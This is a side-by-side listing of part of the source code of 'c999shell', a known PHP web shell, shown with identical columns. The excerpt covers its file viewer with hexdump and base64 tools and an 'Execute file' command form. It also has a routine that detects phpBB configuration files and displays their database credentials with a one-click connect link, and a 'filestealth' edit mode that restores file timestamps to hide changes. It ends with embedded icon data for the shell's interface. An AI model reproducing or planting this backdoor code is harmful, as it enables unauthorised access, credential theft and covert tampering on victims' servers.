| 2450 | if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} | 2450 | if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} |
| 2451 | elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} | 2451 | elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} |
| 2452 | else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} | 2452 | else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} |
| 2453 | echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; | 2453 | echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; |
| 2454 | } | 2454 | } |
| 2455 | echo "<hr size=\"1\" noshade>"; | 2455 | echo "<hr size=\"1\" noshade>"; |
| 2456 | if ($ft == "info") | 2456 | if ($ft == "info") |
| 2457 | { | 2457 | { |
| 2458 | echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; | 2458 | echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; |
| 2459 | if (!$win) | 2459 | if (!$win) |
| 2460 | { | 2460 | { |
| 2461 | echo "<tr><td><b>Owner/Group</b></td><td> "; | 2461 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
| 2462 | $ow = posix_getpwuid(fileowner($d.$f)); | 2462 | $ow = posix_getpwuid(fileowner($d.$f)); |
| 2463 | $gr = posix_getgrgid(filegroup($d.$f)); | 2463 | $gr = posix_getgrgid(filegroup($d.$f)); |
| 2464 | echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); | 2464 | echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); |
| 2465 | } | 2465 | } |
| 2466 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; | 2466 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; |
| 2467 | $fi = fopen($d.$f,"rb"); | 2467 | $fi = fopen($d.$f,"rb"); |
| 2468 | if ($fi) | 2468 | if ($fi) |
| 2469 | { | 2469 | { |
| 2470 | if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} | 2470 | if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} |
| 2471 | else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} | 2471 | else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} |
| 2472 | $n = 0; | 2472 | $n = 0; |
| 2473 | $a0 = "00000000<br>"; | 2473 | $a0 = "00000000<br>"; |
| 2474 | $a1 = ""; | 2474 | $a1 = ""; |
| 2475 | $a2 = ""; | 2475 | $a2 = ""; |
| 2476 | for ($i=0; $i<strlen($str); $i++) | 2476 | for ($i=0; $i<strlen($str); $i++) |
| 2477 | { | 2477 | { |
| 2478 | $a1 .= sprintf("%02X",ord($str[$i]))." "; | 2478 | $a1 .= sprintf("%02X",ord($str[$i]))." "; |
| 2479 | switch (ord($str[$i])) | 2479 | switch (ord($str[$i])) |
| 2480 | { | 2480 | { |
| 2481 | case 0: $a2 .= "<font>0</font>"; break; | 2481 | case 0: $a2 .= "<font>0</font>"; break; |
| 2482 | case 32: | 2482 | case 32: |
| 2483 | case 10: | 2483 | case 10: |
| 2484 | case 13: $a2 .= " "; break; | 2484 | case 13: $a2 .= " "; break; |
| 2485 | default: $a2 .= htmlspecialchars($str[$i]); | 2485 | default: $a2 .= htmlspecialchars($str[$i]); |
| 2486 | } | 2486 | } |
| 2487 | $n++; | 2487 | $n++; |
| 2488 | if ($n == $hexdump_rows) | 2488 | if ($n == $hexdump_rows) |
| 2489 | { | 2489 | { |
| 2490 | $n = 0; | 2490 | $n = 0; |
| 2491 | if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} | 2491 | if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} |
| 2492 | $a1 .= "<br>"; | 2492 | $a1 .= "<br>"; |
| 2493 | $a2 .= "<br>"; | 2493 | $a2 .= "<br>"; |
| 2494 | } | 2494 | } |
| 2495 | } | 2495 | } |
| 2496 | //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} | 2496 | //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} |
| 2497 | echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; | 2497 | echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; |
| 2498 | } | 2498 | } |
| 2499 | $encoded = ""; | 2499 | $encoded = ""; |
| 2500 | if ($base64 == 1) | 2500 | if ($base64 == 1) |
| 2501 | { | 2501 | { |
| 2502 | echo "<b>Base64 Encode</b><br>"; | 2502 | echo "<b>Base64 Encode</b><br>"; |
| 2503 | $encoded = base64_encode(file_get_contents($d.$f)); | 2503 | $encoded = base64_encode(file_get_contents($d.$f)); |
| 2504 | } | 2504 | } |
| 2505 | elseif($base64 == 2) | 2505 | elseif($base64 == 2) |
| 2506 | { | 2506 | { |
| 2507 | echo "<b>Base64 Encode + Chunk</b><br>"; | 2507 | echo "<b>Base64 Encode + Chunk</b><br>"; |
| 2508 | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); | 2508 | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); |
| 2509 | } | 2509 | } |
| 2510 | elseif($base64 == 3) | 2510 | elseif($base64 == 3) |
| 2511 | { | 2511 | { |
| 2512 | echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; | 2512 | echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; |
| 2513 | $encoded = base64_encode(file_get_contents($d.$f)); | 2513 | $encoded = base64_encode(file_get_contents($d.$f)); |
| 2514 | $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); | 2514 | $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); |
| 2515 | } | 2515 | } |
| 2516 | elseif($base64 == 4) | 2516 | elseif($base64 == 4) |
| 2517 | { | 2517 | { |
| 2518 | $text = file_get_contents($d.$f); | 2518 | $text = file_get_contents($d.$f); |
| 2519 | $encoded = base64_decode($text); | 2519 | $encoded = base64_decode($text); |
| 2520 | echo "<b>Base64 Decode"; | 2520 | echo "<b>Base64 Decode"; |
| 2521 | if (base64_encode($encoded) != $text) {echo " (failed)";} | 2521 | if (base64_encode($encoded) != $text) {echo " (failed)";} |
| 2522 | echo "</b><br>"; | 2522 | echo "</b><br>"; |
| 2523 | } | 2523 | } |
| 2524 | if (!empty($encoded)) | 2524 | if (!empty($encoded)) |
| 2525 | { | 2525 | { |
| 2526 | echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; | 2526 | echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; |
| 2527 | } | 2527 | } |
| 2528 | echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> | 2528 | echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> |
| 2529 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr> | 2529 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr> |
| 2530 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr> | 2530 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr> |
| 2531 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr> | 2531 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr> |
| 2532 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr> | 2532 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr> |
| 2533 | <P>"; | 2533 | <P>"; |
| 2534 | } | 2534 | } |
| 2535 | elseif ($ft == "html") | 2535 | elseif ($ft == "html") |
| 2536 | { | 2536 | { |
| 2537 | if ($white) {@ob_clean();} | 2537 | if ($white) {@ob_clean();} |
| 2538 | echo $r; | 2538 | echo $r; |
| 2539 | if ($white) {c999shexit();} | 2539 | if ($white) {c999shexit();} |
| 2540 | } | 2540 | } |
| 2541 | elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} | 2541 | elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} |
| 2542 | elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} | 2542 | elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} |
| 2543 | elseif ($ft == "phpsess") | 2543 | elseif ($ft == "phpsess") |
| 2544 | { | 2544 | { |
| 2545 | echo "<pre>"; | 2545 | echo "<pre>"; |
| 2546 | $v = explode("|",$r); | 2546 | $v = explode("|",$r); |
| 2547 | echo $v[0]."<br>"; | 2547 | echo $v[0]."<br>"; |
| 2548 | var_dump(unserialize($v[1])); | 2548 | var_dump(unserialize($v[1])); |
| 2549 | echo "</pre>"; | 2549 | echo "</pre>"; |
| 2550 | } | 2550 | } |
| 2551 | elseif ($ft == "exe") | 2551 | elseif ($ft == "exe") |
| 2552 | { | 2552 | { |
| 2553 | $ext = explode(".",$f); | 2553 | $ext = explode(".",$f); |
| 2554 | $c = count($ext)-1; | 2554 | $c = count($ext)-1; |
| 2555 | $ext = $ext[$c]; | 2555 | $ext = $ext[$c]; |
| 2556 | $ext = strtolower($ext); | 2556 | $ext = strtolower($ext); |
| 2557 | $rft = ""; | 2557 | $rft = ""; |
| 2558 | foreach($exeftypes as $k=>$v) | 2558 | foreach($exeftypes as $k=>$v) |
| 2559 | { | 2559 | { |
| 2560 | if (in_array($ext,$v)) {$rft = $k; break;} | 2560 | if (in_array($ext,$v)) {$rft = $k; break;} |
| 2561 | } | 2561 | } |
| 2562 | $cmd = str_replace("%f%",$f,$rft); | 2562 | $cmd = str_replace("%f%",$f,$rft); |
| 2563 | echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; | 2563 | echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; |
| 2564 | } | 2564 | } |
| 2565 | elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} | 2565 | elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} |
| 2566 | elseif ($ft == "code") | 2566 | elseif ($ft == "code") |
| 2567 | { | 2567 | { |
| 2568 | if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) | 2568 | if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) |
| 2569 | { | 2569 | { |
| 2570 | $arr = explode("\n",$r); | 2570 | $arr = explode("\n",$r); |
| 2571 | if (count($arr == 18)) | 2571 | if (count($arr == 18)) |
| 2572 | { | 2572 | { |
| 2573 | include($d.$f); | 2573 | include($d.$f); |
| 2574 | echo "<b>phpBB configuration is detected in this file!<br>"; | 2574 | echo "<b>phpBB configuration is detected in this file!<br>"; |
| 2575 | if ($dbms == "mysql4") {$dbms = "mysql";} | 2575 | if ($dbms == "mysql4") {$dbms = "mysql";} |
| 2576 | if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} | 2576 | if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} |
| 2577 | else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";} | 2577 | else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";} |
| 2578 | echo "Parameters for manual connect:<br>"; | 2578 | echo "Parameters for manual connect:<br>"; |
| 2579 | $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); | 2579 | $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); |
| 2580 | foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} | 2580 | foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} |
| 2581 | echo "</b><hr size=\"1\" noshade>"; | 2581 | echo "</b><hr size=\"1\" noshade>"; |
| 2582 | } | 2582 | } |
| 2583 | } | 2583 | } |
| 2584 | echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; | 2584 | echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; |
| 2585 | if (!empty($white)) {@ob_clean();} | 2585 | if (!empty($white)) {@ob_clean();} |
| 2586 | highlight_file($d.$f); | 2586 | highlight_file($d.$f); |
| 2587 | if (!empty($white)) {c999shexit();} | 2587 | if (!empty($white)) {c999shexit();} |
| 2588 | echo "</div>"; | 2588 | echo "</div>"; |
| 2589 | } | 2589 | } |
| 2590 | elseif ($ft == "download") | 2590 | elseif ($ft == "download") |
| 2591 | { | 2591 | { |
| 2592 | @ob_clean(); | 2592 | @ob_clean(); |
| 2593 | header("Content-type: application/octet-stream"); | 2593 | header("Content-type: application/octet-stream"); |
| 2594 | header("Content-length: ".filesize($d.$f)); | 2594 | header("Content-length: ".filesize($d.$f)); |
| 2595 | header("Content-disposition: attachment; filename=\"".$f."\";"); | 2595 | header("Content-disposition: attachment; filename=\"".$f."\";"); |
| 2596 | echo $r; | 2596 | echo $r; |
| 2597 | exit; | 2597 | exit; |
| 2598 | } | 2598 | } |
| 2599 | elseif ($ft == "notepad") | 2599 | elseif ($ft == "notepad") |
| 2600 | { | 2600 | { |
| 2601 | @ob_clean(); | 2601 | @ob_clean(); |
| 2602 | header("Content-type: text/plain"); | 2602 | header("Content-type: text/plain"); |
| 2603 | header("Content-disposition: attachment; filename=\"".$f.".txt\";"); | 2603 | header("Content-disposition: attachment; filename=\"".$f.".txt\";"); |
| 2604 | echo($r); | 2604 | echo($r); |
| 2605 | exit; | 2605 | exit; |
| 2606 | } | 2606 | } |
| 2607 | elseif ($ft == "img") | 2607 | elseif ($ft == "img") |
| 2608 | { | 2608 | { |
| 2609 | $inf = getimagesize($d.$f); | 2609 | $inf = getimagesize($d.$f); |
| 2610 | if (!$white) | 2610 | if (!$white) |
| 2611 | { | 2611 | { |
| 2612 | if (empty($imgsize)) {$imgsize = 20;} | 2612 | if (empty($imgsize)) {$imgsize = 20;} |
| 2613 | $width = $inf[0]/100*$imgsize; | 2613 | $width = $inf[0]/100*$imgsize; |
| 2614 | $height = $inf[1]/100*$imgsize; | 2614 | $height = $inf[1]/100*$imgsize; |
| 2615 | echo "<center><b>Size:</b> "; | 2615 | echo "<center><b>Size:</b> "; |
| 2616 | $sizes = array("100","50","20"); | 2616 | $sizes = array("100","50","20"); |
| 2617 | foreach ($sizes as $v) | 2617 | foreach ($sizes as $v) |
| 2618 | { | 2618 | { |
| 2619 | echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; | 2619 | echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; |
| 2620 | if ($imgsize != $v ) {echo $v;} | 2620 | if ($imgsize != $v ) {echo $v;} |
| 2621 | else {echo "<u>".$v."</u>";} | 2621 | else {echo "<u>".$v."</u>";} |
| 2622 | echo "</a> "; | 2622 | echo "</a> "; |
| 2623 | } | 2623 | } |
| 2624 | echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; | 2624 | echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; |
| 2625 | } | 2625 | } |
| 2626 | else | 2626 | else |
| 2627 | { | 2627 | { |
| 2628 | @ob_clean(); | 2628 | @ob_clean(); |
| 2629 | $ext = explode($f,"."); | 2629 | $ext = explode($f,"."); |
| 2630 | $ext = $ext[count($ext)-1]; | 2630 | $ext = $ext[count($ext)-1]; |
| 2631 | header("Content-type: ".$inf["mime"]); | 2631 | header("Content-type: ".$inf["mime"]); |
| 2632 | readfile($d.$f); | 2632 | readfile($d.$f); |
| 2633 | exit; | 2633 | exit; |
| 2634 | } | 2634 | } |
| 2635 | } | 2635 | } |
| 2636 | elseif ($ft == "edit") | 2636 | elseif ($ft == "edit") |
| 2637 | { | 2637 | { |
| 2638 | if (!empty($submit)) | 2638 | if (!empty($submit)) |
| 2639 | { | 2639 | { |
| 2640 | if ($filestealth) {$stat = stat($d.$f);} | 2640 | if ($filestealth) {$stat = stat($d.$f);} |
| 2641 | $fp = fopen($d.$f,"w"); | 2641 | $fp = fopen($d.$f,"w"); |
| 2642 | if (!$fp) {echo "<b>Can't write to file!</b>";} | 2642 | if (!$fp) {echo "<b>Can't write to file!</b>";} |
| 2643 | else | 2643 | else |
| 2644 | { | 2644 | { |
| 2645 | echo "<b>Saved!</b>"; | 2645 | echo "<b>Saved!</b>"; |
| 2646 | fwrite($fp,$edit_text); | 2646 | fwrite($fp,$edit_text); |
| 2647 | fclose($fp); | 2647 | fclose($fp); |
| 2648 | if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} | 2648 | if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} |
| 2649 | $r = $edit_text; | 2649 | $r = $edit_text; |
| 2650 | } | 2650 | } |
| 2651 | } | 2651 | } |
| 2652 | $rows = count(explode("\r\n",$r)); | 2652 | $rows = count(explode("\r\n",$r)); |
| 2653 | if ($rows < 10) {$rows = 10;} | 2653 | if ($rows < 10) {$rows = 10;} |
| 2654 | if ($rows > 30) {$rows = 30;} | 2654 | if ($rows > 30) {$rows = 30;} |
| 2655 | echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; | 2655 | echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; |
| 2656 | } | 2656 | } |
| 2657 | elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} | 2657 | elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} |
| 2658 | else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} | 2658 | else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} |
| 2659 | } | 2659 | } |
| 2660 | } | 2660 | } |
| 2661 | } | 2661 | } |
| 2662 | else | 2662 | else |
| 2663 | { | 2663 | { |
| 2664 | @ob_clean(); | 2664 | @ob_clean(); |
| 2665 | $images = array( | 2665 | $images = array( |
| 2666 | "arrow_ltr"=> | 2666 | "arrow_ltr"=> |
| 2667 | "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". | 2667 | "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". |
| 2668 | "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", | 2668 | "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", |
| 2669 | "back"=> | 2669 | "back"=> |
| 2670 | "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". | 2670 | "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". |
| 2671 | "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". | 2671 | "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". |
| 2672 | "Wg0JADs=", | 2672 | "Wg0JADs=", |
| 2673 | "buffer"=> | 2673 | "buffer"=> |
| 2674 | "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". | 2674 | "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". |
| 2675 | "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". | 2675 | "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". |
| 2676 | "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", | 2676 | "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", |
| 2677 | "change"=> | 2677 | "change"=> |
| 2678 | "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". | 2678 | "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". |
| 2679 | "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". | 2679 | "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". |
| 2680 | "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". | 2680 | "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". |
| 2681 | "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". | 2681 | "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". |
| 2682 | "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". | 2682 | "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". |
| 2683 | "zMshADs=", | 2683 | "zMshADs=", |
| 2684 | "delete"=> | 2684 | "delete"=> |
| 2685 | "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". | 2685 | "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". |
| 2686 | "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". | 2686 | "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". |
| 2687 | "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". | 2687 | "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". |
| 2688 | "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". | 2688 | "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". |
